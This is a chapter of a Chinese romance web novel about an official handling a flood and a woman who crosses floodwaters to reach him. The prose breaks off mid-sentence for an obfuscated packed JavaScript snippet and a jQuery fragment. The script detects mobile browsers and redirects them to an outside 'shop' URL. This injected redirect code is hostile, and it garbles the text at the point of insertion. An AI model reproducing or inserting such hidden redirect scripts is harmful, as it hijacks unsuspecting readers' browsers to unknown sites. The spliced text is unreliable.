16. 再见
作品:《清正权臣为爱发疯后》 梅澜清思索了会儿,将手中的信放在油灯上,深沉的眸子静静地看着油灯跳跃的火光将信件吞噬成灰烬。
他又重新下笔写了封信,信中让亲信去明州官学,看江乐黎身边有没有出现什么女子,有了答案后再做定夺。
他将信交给一直候着的差役后,斜靠在云纹状扶手圈椅上小憩。
不知为何,这晚他满心不再是明日要先去哪里勘察,而是沈玉蕴不同颜色的剪影。
她总是会换很多色调不同的衣裳,然后不小心地,落进他眼底。
自从她走后,他的书斋里便再也没有过糕点升腾起的热气了。那种暖气融融的时光似在眼前,像是中秋那日,斜照在安静读书的沈玉蕴脸上的橙色阳光。
没了她的装点,书斋也就此失了颜色,如他的灵魂般沉入浓重的墨色中,再不见一丝生气。
一旁的墨旋见状,为他拿来了拉绒棉毯,一边小心为他盖上一边劝道:“郎君不妨回房休息几个时辰。自从水灾后,郎君都没睡过一个好觉,还为沈娘子的事忧心,这样下去身子可怎么受得了。”
梅澜清并未多话,只是盯着芸窗下的小榻,看了许久,才轻阖了眼道:“不必再劝。”
墨旋也知晓郎君性子倔强,便也不再劝,只放轻了脚步退了出去,唯恐再吵到他。
*
因信州遭水灾,水路已无法再走,是以他们几人只能走较为狭窄的官道。
许是流民太多,有像沈玉蕴他们这样为了找寻家人往里走的,也有因为上饶的灾祸往出躲刚出了城的,这个地处于两城荒野之间的茶馆此刻竟挤满了人。
汗味、见了雨的泥土腥味还有其他怪异的味道混杂在一次,充斥着整个茶馆。可没有人在意这些,在残酷的天灾面前,保住性命已是万幸。
不知是谁开始的,整个茶馆忽然谈起了此次天灾。
“我第一次见那么大的水灾。那日晚上,院子里突然进了水,我看着情况不对,赶紧把家里人叫起来就跑。
出城的时候,嚯,城墙都被水冲出了一尺多宽的口子。”农夫模样的男人用手比划了下一尺左右的长度,一脸的心有余悸。
一带着幞头、面容白净的男子搭话:“不是说梅知州很快就召集官兵堵水了吗?这几日那些奸商趁机抬高粮价,因为赈灾粮没下来,梅知州还开了常平仓的粮济灾。”
听见梅澜清的名字,沈玉蕴不自觉竖起了耳朵。
“哎,水量太大堵也堵不住,就算这个新知州整日都住在城墙边也没用啊。”
一身型健壮的男子一边喝茶一边反驳,“况且这次上饶受灾那么严重,官府都被水围了,常平仓的粮还有多少能吃可说不定。”
“至于官家的赈灾粮......”他晃了晃茶杯,摇头笑了声,“要真等那玩意儿下来,人也就饿死的差不多喽!”
有一妇人抖着声音问:“那这上饶还能去吗?我男人还在上饶......”
那人回道:“听我一句劝,从哪里来就从哪里返回。前段时间大雨,官道有一段被冲毁,还有一段塌了方。就算那位梅知州真有办法救灾筹粮,让上饶灾民保住性命,你也不一定有命能到那儿。”
一席话说的不少人面露迟疑与惊恐。
蕙芷也白了脸,在桌下悄悄拽了拽沈玉蕴的袖口。
墨扬见状压低声音道:“娘子不妨和蕙芷留在玉山县,我去找郎君说明情况,等灾祸平息了再让郎君来接娘子。”
沈玉蕴墨黑的眸子定定看着他,毫无犹疑:“我们从它山堰到玉山县,有哪一次我是需要躲在你身后的?”
墨扬一怔,声音低下来:“是小人唐突了。”
沈玉蕴又看向蕙芷,握了握她的手:“你要是害怕可以在玉山县等我们。”
蕙芷迟疑了会儿,声音有些艰涩:“我想留下,娘子会不会觉得我贪生怕死?”
沈玉蕴笑道:“当然不会。我要去,是郎君对我有恩;墨扬要去,是因为他是梅家家生子,与郎君从小一起长大,有情意在。”
她用手擦掉了蕙芷落的泪,“是我害你吃了这么多苦。明州那么高的崖,我说跳你就毫不犹豫跟着我一起跳,你是个好姑娘。”
“更何况大家都是人,贪生怕死,又有何错?”
沈玉蕴说完,蕙芷已泪流满面,她哽咽着道:“我不怕死,只是我家中只剩一老祖母和一八岁小妹,靠我的月钱过活。若我死了,她们会生不如死。”
“多谢娘子大恩,若日后有什么需要蕙芷的,就算是上刀山下油锅也绝不会推辞。”
何况,墨扬身上是有些拳脚的。若只是护娘子一人,他尚有余力;再加上一个她,可能连娘子的安危都会被她带累。
与其这般,不如她留在玉山县,等候娘子的消息。
沈玉蕴临走时将一半银钱留给了蕙芷,叮嘱她流民多易生乱,尽量待在客栈里不要外出,蕙芷噙着泪答应了。
沈玉蕴则和墨扬一起,踏上了和大多数灾民逆行的道路。
开始的路算不上难走,只是官道的大部分路也明显被水淹过,哪怕如今并未降雨,脚下也全是污泥。
沈玉蕴和墨扬在路边将就了一晚,次日,走了约莫半个时辰后到了那段被淹的官道。
墨扬试了下水,不算太深,只到他腰腹处,只是水流有些急。
于是他从包裹中拿出早就备好的绳子,又给包裹里加了石头,用力一掷,包裹就这样平安到了对面。
他又将绳子绕着岸边一棵粗壮的树打了死结,一边留出一段想缠住沈玉蕴的腰身。
只是他想起沈玉蕴的侧腰刚受过伤,动作顿了顿。
沈玉蕴摇摇头,示意她没事,让他继续。墨扬将绳子紧紧缠在沈玉蕴腰上,打过结后,又把剩下的绳子绕到自己腰上打了结。
他一边缓缓下水,一边又不放心的叮嘱道:“娘子,待会儿无论如何一定要抓住绳子,千万不能松开。”
沈玉蕴点点头,她自然明白。
湍急的水流混着泥沙冲击着沈玉蕴纤瘦的身体,若不是有墨扬在前面镇住,她恐怕早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141219|196346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被水冲走了。再加上天气渐冷,水中的温度更低,沈玉蕴的双腿被冻的逐渐僵硬,没了知觉,但向前走,去信州的信念依然坚定。
走到中间部分,湍流更急,沈玉蕴脚下一个不稳,手死死地攥住绳子,缓了好一会儿才稳住身形。
两人十分艰难的渡过了“河”,这时,冰冷水流暂缓的疼痛一阵阵袭来,沈玉蕴这才感觉到腰部火辣辣的痛感,以及腰下的热流。
怕是一路奔波加上水流冲击,她的伤口又裂开了。
不过他们距上饶只剩下一公里左右的路程,是以沈玉蕴忍着疼并未出声,只她想着等见到梅澜清,一切就都有办法了。只是疼痛让身体时不时发颤。
墨扬以为沈玉蕴是吹了冷风,冷得发抖,便从包裹中拿出一件男子的长袍给她披上。
等到了上饶,已然是傍晚。
纵然先前从别人口中听说过城墙被毁的事,可甫一看到,沈玉蕴还是被骇了一跳。
往日里坚固的围墙已然变成了断壁残垣,透过巨大的窟窿,依稀可见城内的荒芜潦草。还好有临时的沙袋阻挡,倒真的抵御了一部分水流。
沈玉蕴和墨扬刚靠近城墙,便被守卫的官兵拦住:“知州有令,如今的上饶只出不进,你们从哪儿来从哪儿回去吧。”
沈玉蕴忙塞了一小块碎银给他:“劳烦官人通融通融,我们内人孩子都在城里,实在是放心不下才回来的。”
那官兵打量了他们一圈,又往四周看了看,将碎银揣进怀里,唤来一个小吏:“把他们俩和那五个人一起转移过去。”
那小吏应了声,将他们带进了城。
城中积水只剩下小部分,灾民也被船或木筏载着去了地势更高处,如今这里只有官兵和农夫在忙着修筑围墙。
沈玉蕴一眼便看见了那站在城墙上鹤立鸡群的身影。
夕阳铺洒在梅澜清的绯红色官袍上,像是上天特意为他投下的光。他身形挺拔如松,正听旁边的官员汇报着什么,距离太远,沈玉蕴看不清他的神色,但也能猜想到,必然是一派肃穆。
沈玉蕴的目光再也看不见其他人了,她朝着他的方向挥了挥手,用最笨拙的方式想引起那人的注意。
梅澜清并未看见,只低着头和旁边的官员谈论些什么,倒是领着他们的小吏猛然变了脸色:“干什么?还不快点走!被梅知州看见我们都得受罚!”
“梅澜清!”
沈玉蕴听不见耳边的嘈杂,看见梅澜清的喜悦冲昏了她的头脑。她继续挥了挥手,又叫他的名字。
似乎是距离太远,他依旧没有朝这边看。那小吏脸色已然煞白,伸手便要揪住沈玉蕴的衣领兴师问罪,墨扬长臂一横,轻易将那小吏的动作制住。
沈玉蕴又喊了几声,城墙下按部就班扛着沙袋的士兵纷纷朝她看来,这一次连墨扬都忍不住出声提醒她:“娘子……”
沈玉蕴回过神,收回手,心中的失落像灰尘一样一点点撒下来,遮住了露骨的喜悦。她却还是笑着道:“先走吧。等以后有机会再找梅郎君。”

